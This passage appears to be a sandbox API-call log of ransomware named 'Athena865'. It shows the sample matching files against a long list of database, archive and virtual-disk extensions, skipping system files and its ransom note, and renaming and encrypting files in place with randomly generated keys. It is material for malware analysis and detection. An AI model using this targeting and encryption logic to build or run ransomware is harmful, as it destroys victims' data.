[0113.345] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0113.345] lstrlenW (lpString="ba_") returned 3 [0113.345] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0113.345] lstrlenW (lpString="dbb") returned 3 [0113.345] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0113.345] lstrlenW (lpString="vmdk") returned 4 [0113.345] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0113.346] lstrlenW (lpString="rar") returned 3 [0113.346] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0113.346] lstrlenW (lpString="zip") returned 3 [0113.346] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0113.346] lstrlenW (lpString="tgz") returned 3 [0113.346] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0113.346] lstrlenW (lpString="vbox") returned 4 [0113.346] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0113.346] lstrlenW (lpString="vdi") returned 3 [0113.346] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0113.346] lstrlenW (lpString="vhd") returned 3 [0113.346] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0113.346] lstrlenW (lpString="vhdx") returned 4 [0113.346] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0113.346] lstrlenW (lpString="avhd") returned 4 [0113.346] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0113.346] lstrlenW (lpString="db") returned 2 [0113.346] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0113.346] lstrlenW (lpString="db2") returned 3 [0113.346] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0113.346] lstrlenW (lpString="db3") returned 3 [0113.346] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0113.346] lstrlenW (lpString="dbf") returned 3 [0113.346] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0113.346] lstrlenW (lpString="mdf") returned 3 [0113.346] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0113.346] lstrlenW (lpString="mdb") returned 3 [0113.346] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0113.346] lstrlenW (lpString="sql") returned 3 [0113.346] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0113.347] lstrlenW (lpString="sqlite") returned 6 [0113.347] lstrcmpiW (lpString1="M2.DLL", lpString2="sqlite") returned -1 [0113.347] lstrlenW (lpString="sqlite3") returned 7 [0113.347] lstrcmpiW (lpString1="OM2.DLL", lpString2="sqlite3") returned -1 [0113.347] lstrlenW (lpString="sqlitedb") returned 8 [0113.347] lstrcmpiW (lpString1="COM2.DLL", lpString2="sqlitedb") returned -1 [0113.347] lstrlenW (lpString="xml") returned 3 [0113.347] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0113.347] lstrlenW (lpString="$er") returned 3 [0113.347] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0113.347] lstrlenW (lpString="4dd") returned 3 [0113.347] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0113.347] lstrlenW (lpString="4dl") returned 3 [0113.347] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0113.347] lstrlenW (lpString="^^^") returned 3 [0113.347] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0113.347] lstrlenW (lpString="abs") returned 3 [0113.347] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0113.347] lstrlenW (lpString="abx") returned 3 [0113.347] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0113.347] lstrlenW (lpString="accdb") returned 5 [0113.347] lstrcmpiW (lpString1="2.DLL", lpString2="accdb") returned -1 [0113.347] lstrlenW (lpString="accdc") returned 5 [0113.347] lstrcmpiW (lpString1="2.DLL", lpString2="accdc") returned -1 [0113.347] lstrlenW (lpString="accde") returned 5 [0113.347] lstrcmpiW (lpString1="2.DLL", lpString2="accde") returned -1 [0113.347] lstrlenW (lpString="accdr") returned 5 [0113.347] lstrcmpiW (lpString1="2.DLL", lpString2="accdr") returned -1 [0113.347] lstrlenW (lpString="accdt") returned 5 [0113.347] lstrcmpiW (lpString1="2.DLL", lpString2="accdt") returned -1 [0113.348] lstrlenW (lpString="accdw") returned 5 [0113.348] lstrcmpiW (lpString1="2.DLL", lpString2="accdw") returned -1 [0113.348] lstrlenW (lpString="accft") returned 5 [0113.348] lstrcmpiW (lpString1="2.DLL", lpString2="accft") returned -1 [0113.348] lstrlenW (lpString="adb") returned 3 [0113.348] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0113.348] lstrlenW (lpString="adb") returned 3 [0113.348] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0113.348] lstrlenW (lpString="ade") returned 3 [0113.348] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0113.348] lstrlenW (lpString="adf") returned 3 [0113.348] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0113.348] lstrlenW (lpString="adn") returned 3 [0113.348] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0113.348] lstrlenW (lpString="adp") returned 3 [0113.348] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0113.348] lstrlenW (lpString="alf") returned 3 [0113.348] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0113.348] lstrlenW (lpString="ask") returned 3 [0113.348] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0113.348] lstrlenW (lpString="btr") returned 3 [0113.348] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0113.348] lstrlenW (lpString="cat") returned 3 [0113.348] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0113.348] lstrlenW (lpString="cdb") returned 3 [0113.348] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0113.348] lstrlenW (lpString="ckp") returned 3 [0113.348] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0113.348] lstrlenW (lpString="cma") returned 3 [0113.348] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0113.349] lstrlenW (lpString="cpd") returned 3 [0113.349] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0113.349] lstrlenW (lpString="dacpac") returned 6 [0113.349] lstrcmpiW (lpString1="M2.DLL", lpString2="dacpac") returned 1 [0113.349] lstrlenW (lpString="dad") returned 3 [0113.349] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0113.349] lstrlenW (lpString="dadiagrams") returned 10 [0113.349] lstrlenW (lpString="daschema") returned 8 [0113.349] lstrcmpiW (lpString1="COM2.DLL", lpString2="daschema") returned -1 [0113.349] lstrlenW (lpString="db-journal") returned 10 [0113.349] lstrlenW (lpString="db-shm") returned 6 [0113.349] lstrcmpiW (lpString1="M2.DLL", lpString2="db-shm") returned 1 [0113.349] lstrlenW (lpString="db-wal") returned 6 [0113.349] lstrcmpiW (lpString1="M2.DLL", lpString2="db-wal") returned 1 [0113.349] lstrlenW (lpString="dbc") returned 3 [0113.349] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0113.349] lstrlenW (lpString="dbs") returned 3 [0113.349] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0113.349] lstrlenW (lpString="dbt") returned 3 [0113.349] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0113.349] lstrlenW (lpString="dbv") returned 3 [0113.349] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0113.349] lstrlenW (lpString="dbx") returned 3 [0113.349] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0113.349] lstrlenW (lpString="dcb") returned 3 [0113.349] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0113.349] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0113.349] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0113.350] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0113.350] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0113.350] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0113.350] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.Athena865") returned 76 [0113.350] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.athena865"), dwFlags=0x1) returned 1 [0113.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0113.352] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4289376) returned 1 [0113.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0113.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0113.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0113.353] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0113.353] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0113.353] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.354] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x417660, lpName=0x0) returned 0x17c [0113.390] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x17660) returned 0x100000 [0113.400] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0113.535] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0113.536] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0113.536] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0113.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0113.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0113.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0113.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0113.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0113.537] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0113.537] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.537] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0113.537] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0113.538] CloseHandle (hObject=0x17c) returned 1 [0113.538] CloseHandle (hObject=0x154) returned 1 [0113.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0113.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0113.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0113.548] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0113.548] lstrcmpiW (lpString1="LICLUA.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0113.548] lstrcmpiW (lpString1="LICLUA.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0113.548] lstrcmpiW (lpString1="LICLUA.EXE", lpString2=".") returned 1 [0113.548] lstrcmpiW (lpString1="LICLUA.EXE", lpString2="..") returned 1 [0113.548] lstrcmpiW (lpString1="LICLUA.EXE", lpString2="windows") returned -1 [0113.548] lstrcmpiW (lpString1="LICLUA.EXE", lpString2="bootmgr") returned 1 [0113.548] lstrcmpiW (lpString1="LICLUA.EXE", lpString2="temp") returned -1 [0113.548] lstrcmpiW (lpString1="LICLUA.EXE", lpString2="pagefile.sys") returned -1 [0113.548] lstrcmpiW (lpString1="LICLUA.EXE", lpString2="boot") returned 1 [0113.548] lstrcmpiW (lpString1="LICLUA.EXE", lpString2="ids.txt") returned 1 [0113.548] lstrcmpiW (lpString1="LICLUA.EXE", lpString2="ntuser.dat") returned -1 [0113.548] lstrcmpiW (lpString1="LICLUA.EXE", lpString2="perflogs") returned -1 [0113.548] lstrcmpiW (lpString1="LICLUA.EXE", lpString2="MSBuild") returned -1 [0113.548] lstrlenW (lpString="LICLUA.EXE") returned 10 [0113.548] lstrcpyW (in: lpString1=0x241e8b8, lpString2="LICLUA.EXE" | out: lpString1="LICLUA.EXE") returned="LICLUA.EXE" [0113.548] lstrlenW (lpString="LICLUA.EXE") returned 10 [0113.548] lstrlenW (lpString="Athena865") returned 9 [0113.548] lstrcmpiW (lpString1="ICLUA.EXE", lpString2="Athena865") returned 1 [0113.548] lstrlenW (lpString=".dll") returned 4 [0113.548] lstrcmpiW (lpString1="LICLUA.EXE", lpString2=".dll") returned 1 [0113.548] lstrlenW (lpString=".lnk") returned 4 [0113.548] lstrcmpiW (lpString1="LICLUA.EXE", lpString2=".lnk") returned 1 [0113.548] lstrlenW (lpString=".ini") returned 4 [0113.548] lstrcmpiW (lpString1="LICLUA.EXE", lpString2=".ini") returned 1 [0113.548] lstrlenW (lpString=".sys") returned 4 [0113.548] lstrcmpiW (lpString1="LICLUA.EXE", lpString2=".sys") returned 1 [0113.549] lstrlenW (lpString="LICLUA.EXE") returned 10 [0113.549] lstrlenW (lpString="bak") returned 3 [0113.549] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0113.549] lstrlenW (lpString="ba_") returned 3 [0113.549] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0113.549] lstrlenW (lpString="dbb") returned 3 [0113.549] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0113.549] lstrlenW (lpString="vmdk") returned 4 [0113.549] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0113.549] lstrlenW (lpString="rar") returned 3 [0113.549] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0113.549] lstrlenW (lpString="zip") returned 3 [0113.549] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0113.549] lstrlenW (lpString="tgz") returned 3 [0113.549] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0113.549] lstrlenW (lpString="vbox") returned 4 [0113.549] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0113.549] lstrlenW (lpString="vdi") returned 3 [0113.549] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0113.549] lstrlenW (lpString="vhd") returned 3 [0113.549] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0113.549] lstrlenW (lpString="vhdx") returned 4 [0113.549] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0113.549] lstrlenW (lpString="avhd") returned 4 [0113.549] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0113.549] lstrlenW (lpString="db") returned 2 [0113.549] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0113.549] lstrlenW (lpString="db2") returned 3 [0113.549] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0113.549] lstrlenW (lpString="db3") returned 3 [0113.550] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0113.550] lstrlenW (lpString="dbf") returned 3 [0113.550] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0113.550] lstrlenW (lpString="mdf") returned 3 [0113.550] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0113.550] lstrlenW (lpString="mdb") returned 3 [0113.550] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0113.550] lstrlenW (lpString="sql") returned 3 [0113.550] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0113.550] lstrlenW (lpString="sqlite") returned 6 [0113.550] lstrcmpiW (lpString1="UA.EXE", lpString2="sqlite") returned 1 [0113.550] lstrlenW (lpString="sqlite3") returned 7 [0113.550] lstrcmpiW (lpString1="LUA.EXE", lpString2="sqlite3") returned -1 [0113.550] lstrlenW (lpString="sqlitedb") returned 8 [0113.550] lstrcmpiW (lpString1="CLUA.EXE", lpString2="sqlitedb") returned -1 [0113.550] lstrlenW (lpString="xml") returned 3 [0113.550] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0113.550] lstrlenW (lpString="$er") returned 3 [0113.550] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0113.550] lstrlenW (lpString="4dd") returned 3 [0113.550] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0113.550] lstrlenW (lpString="4dl") returned 3 [0113.550] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0113.550] lstrlenW (lpString="^^^") returned 3 [0113.550] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0113.550] lstrlenW (lpString="abs") returned 3 [0113.550] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0113.550] lstrlenW (lpString="abx") returned 3 [0113.550] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0113.551] lstrlenW (lpString="accdb") returned 5 [0113.551] lstrcmpiW (lpString1="A.EXE", lpString2="accdb") returned -1 [0113.551] lstrlenW (lpString="accdc") returned 5 [0113.551] lstrcmpiW (lpString1="A.EXE", lpString2="accdc") returned -1 [0113.551] lstrlenW (lpString="accde") returned 5 [0113.551] lstrcmpiW (lpString1="A.EXE", lpString2="accde") returned -1 [0113.551] lstrlenW (lpString="accdr") returned 5 [0113.551] lstrcmpiW (lpString1="A.EXE", lpString2="accdr") returned -1 [0113.551] lstrlenW (lpString="accdt") returned 5 [0113.551] lstrcmpiW (lpString1="A.EXE", lpString2="accdt") returned -1 [0113.551] lstrlenW (lpString="accdw") returned 5 [0113.551] lstrcmpiW (lpString1="A.EXE", lpString2="accdw") returned -1 [0113.551] lstrlenW (lpString="accft") returned 5 [0113.551] lstrcmpiW (lpString1="A.EXE", lpString2="accft") returned -1 [0113.551] lstrlenW (lpString="adb") returned 3 [0113.551] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0113.551] lstrlenW (lpString="adb") returned 3 [0113.551] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0113.551] lstrlenW (lpString="ade") returned 3 [0113.551] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0113.551] lstrlenW (lpString="adf") returned 3 [0113.551] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0113.551] lstrlenW (lpString="adn") returned 3 [0113.551] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0113.551] lstrlenW (lpString="adp") returned 3 [0113.551] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0113.551] lstrlenW (lpString="alf") returned 3 [0113.551] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0113.551] lstrlenW (lpString="ask") returned 3 [0113.551] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0113.552] lstrlenW (lpString="btr") returned 3 [0113.552] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0113.552] lstrlenW (lpString="cat") returned 3 [0113.552] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0113.552] lstrlenW (lpString="cdb") returned 3 [0113.552] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0113.552] lstrlenW (lpString="ckp") returned 3 [0113.552] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0113.552] lstrlenW (lpString="cma") returned 3 [0113.552] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0113.552] lstrlenW (lpString="cpd") returned 3 [0113.552] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0113.552] lstrlenW (lpString="dacpac") returned 6 [0113.552] lstrcmpiW (lpString1="UA.EXE", lpString2="dacpac") returned 1 [0113.552] lstrlenW (lpString="dad") returned 3 [0113.552] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0113.552] lstrlenW (lpString="dadiagrams") returned 10 [0113.552] lstrlenW (lpString="daschema") returned 8 [0113.552] lstrcmpiW (lpString1="CLUA.EXE", lpString2="daschema") returned -1 [0113.552] lstrlenW (lpString="db-journal") returned 10 [0113.552] lstrlenW (lpString="db-shm") returned 6 [0113.552] lstrcmpiW (lpString1="UA.EXE", lpString2="db-shm") returned 1 [0113.552] lstrlenW (lpString="db-wal") returned 6 [0113.552] lstrcmpiW (lpString1="UA.EXE", lpString2="db-wal") returned 1 [0113.552] lstrlenW (lpString="dbc") returned 3 [0113.552] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0113.552] lstrlenW (lpString="dbs") returned 3 [0113.552] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0113.552] lstrlenW (lpString="dbt") returned 3 [0113.552] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0113.553] lstrlenW (lpString="dbv") returned 3 [0113.553] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0113.553] lstrlenW (lpString="dbx") returned 3 [0113.553] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0113.553] lstrlenW (lpString="dcb") returned 3 [0113.553] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0113.553] lstrlenW (lpString="dct") returned 3 [0113.553] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0113.553] lstrlenW (lpString="dcx") returned 3 [0113.553] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0113.553] lstrlenW (lpString="ddl") returned 3 [0113.553] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0113.553] lstrlenW (lpString="dlis") returned 4 [0113.553] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1 [0113.553] lstrlenW (lpString="dp1") returned 3 [0113.553] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1 [0113.553] lstrlenW (lpString="dqy") returned 3 [0113.553] lstrcmpiW (lpString1="EXE", lpString2="dqy") returned 1 [0113.553] lstrlenW (lpString="dsk") returned 3 [0113.553] lstrcmpiW (lpString1="EXE", lpString2="dsk") returned 1 [0113.553] lstrlenW (lpString="dsn") returned 3 [0113.553] lstrcmpiW (lpString1="EXE", lpString2="dsn") returned 1 [0113.553] lstrlenW (lpString="dtsx") returned 4 [0113.553] lstrcmpiW (lpString1=".EXE", lpString2="dtsx") returned -1 [0113.553] lstrlenW (lpString="dxl") returned 3 [0113.553] lstrcmpiW (lpString1="EXE", lpString2="dxl") returned 1 [0113.553] lstrlenW (lpString="eco") returned 3 [0113.553] lstrcmpiW (lpString1="EXE", lpString2="eco") returned 1 [0113.553] lstrlenW (lpString="ecx") returned 3 [0113.553] lstrcmpiW (lpString1="EXE", lpString2="ecx") returned 1 [0113.554] lstrlenW (lpString="edb") returned 3 [0113.554] lstrcmpiW (lpString1="EXE", lpString2="edb") returned 1 [0113.554] lstrlenW (lpString="epim") returned 4 [0113.554] lstrcmpiW (lpString1=".EXE", lpString2="epim") returned -1 [0113.554] lstrlenW (lpString="fcd") returned 3 [0113.554] lstrcmpiW (lpString1="EXE", lpString2="fcd") returned -1 [0113.554] lstrlenW (lpString="fdb") returned 3 [0113.554] lstrcmpiW (lpString1="EXE", lpString2="fdb") returned -1 [0113.554] lstrlenW (lpString="fic") returned 3 [0113.554] lstrcmpiW (lpString1="EXE", lpString2="fic") returned -1 [0113.554] lstrlenW (lpString="flexolibrary") returned 12 [0113.554] lstrlenW (lpString="fm5") returned 3 [0113.554] lstrcmpiW (lpString1="EXE", lpString2="fm5") returned -1 [0113.554] lstrlenW (lpString="fmp") returned 3 [0113.554] lstrcmpiW (lpString1="EXE", lpString2="fmp") returned -1 [0113.554] lstrlenW (lpString="fmp12") returned 5 [0113.554] lstrcmpiW (lpString1="A.EXE", lpString2="fmp12") returned -1 [0113.554] lstrlenW (lpString="fmpsl") returned 5 [0113.554] lstrcmpiW (lpString1="A.EXE", lpString2="fmpsl") returned -1 [0113.554] lstrlenW (lpString="fol") returned 3 [0113.554] lstrcmpiW (lpString1="EXE", lpString2="fol") returned -1 [0113.554] lstrlenW (lpString="fp3") returned 3 [0113.554] lstrcmpiW (lpString1="EXE", lpString2="fp3") returned -1 [0113.554] lstrlenW (lpString="fp4") returned 3 [0113.554] lstrcmpiW (lpString1="EXE", lpString2="fp4") returned -1 [0113.554] lstrlenW (lpString="fp5") returned 3 [0113.554] lstrcmpiW (lpString1="EXE", lpString2="fp5") returned -1 [0113.554] lstrlenW (lpString="fp7") returned 3 [0113.555] lstrcmpiW (lpString1="EXE", lpString2="fp7") returned -1 [0113.555] lstrlenW (lpString="fpt") returned 3 [0113.555] lstrcmpiW (lpString1="EXE", lpString2="fpt") returned -1 [0113.555] lstrlenW (lpString="frm") returned 3 [0113.555] lstrcmpiW (lpString1="EXE", lpString2="frm") returned -1 [0113.555] lstrlenW (lpString="gdb") returned 3 [0113.555] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0113.555] lstrlenW (lpString="gdb") returned 3 [0113.555] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0113.555] lstrlenW (lpString="grdb") returned 4 [0113.555] lstrcmpiW (lpString1=".EXE", lpString2="grdb") returned -1 [0113.555] lstrlenW (lpString="gwi") returned 3 [0113.555] lstrcmpiW (lpString1="EXE", lpString2="gwi") returned -1 [0113.555] lstrlenW (lpString="hdb") returned 3 [0113.555] lstrcmpiW (lpString1="EXE", lpString2="hdb") returned -1 [0113.555] lstrlenW (lpString="his") returned 3 [0113.555] lstrcmpiW (lpString1="EXE", lpString2="his") returned -1 [0113.555] lstrlenW (lpString="ib") returned 2 [0113.555] lstrcmpiW (lpString1="XE", lpString2="ib") returned 1 [0113.555] lstrlenW (lpString="idb") returned 3 [0113.555] lstrcmpiW (lpString1="EXE", lpString2="idb") returned -1 [0113.555] lstrlenW (lpString="ihx") returned 3 [0113.555] lstrcmpiW (lpString1="EXE", lpString2="ihx") returned -1 [0113.555] lstrlenW (lpString="itdb") returned 4 [0113.555] lstrcmpiW (lpString1=".EXE", lpString2="itdb") returned -1 [0113.555] lstrlenW (lpString="itw") returned 3 [0113.555] lstrcmpiW (lpString1="EXE", lpString2="itw") returned -1 [0113.555] lstrlenW (lpString="jet") returned 3 [0113.555] lstrcmpiW (lpString1="EXE", lpString2="jet") returned -1 [0113.556] lstrlenW (lpString="jtx") returned 3 [0113.556] lstrcmpiW (lpString1="EXE", lpString2="jtx") returned -1 [0113.556] lstrlenW (lpString="kdb") returned 3 [0113.556] lstrcmpiW (lpString1="EXE", lpString2="kdb") returned -1 [0113.556] lstrlenW (lpString="kexi") returned 4 [0113.556] lstrcmpiW (lpString1=".EXE", lpString2="kexi") returned -1 [0113.556] lstrlenW (lpString="kexic") returned 5 [0113.556] lstrcmpiW (lpString1="A.EXE", lpString2="kexic") returned -1 [0113.556] lstrlenW (lpString="kexis") returned 5 [0113.556] lstrcmpiW (lpString1="A.EXE", lpString2="kexis") returned -1 [0113.556] lstrlenW (lpString="lgc") returned 3 [0113.556] lstrcmpiW (lpString1="EXE", lpString2="lgc") returned -1 [0113.556] lstrlenW (lpString="lwx") returned 3 [0113.556] lstrcmpiW (lpString1="EXE", lpString2="lwx") returned -1 [0113.556] lstrlenW 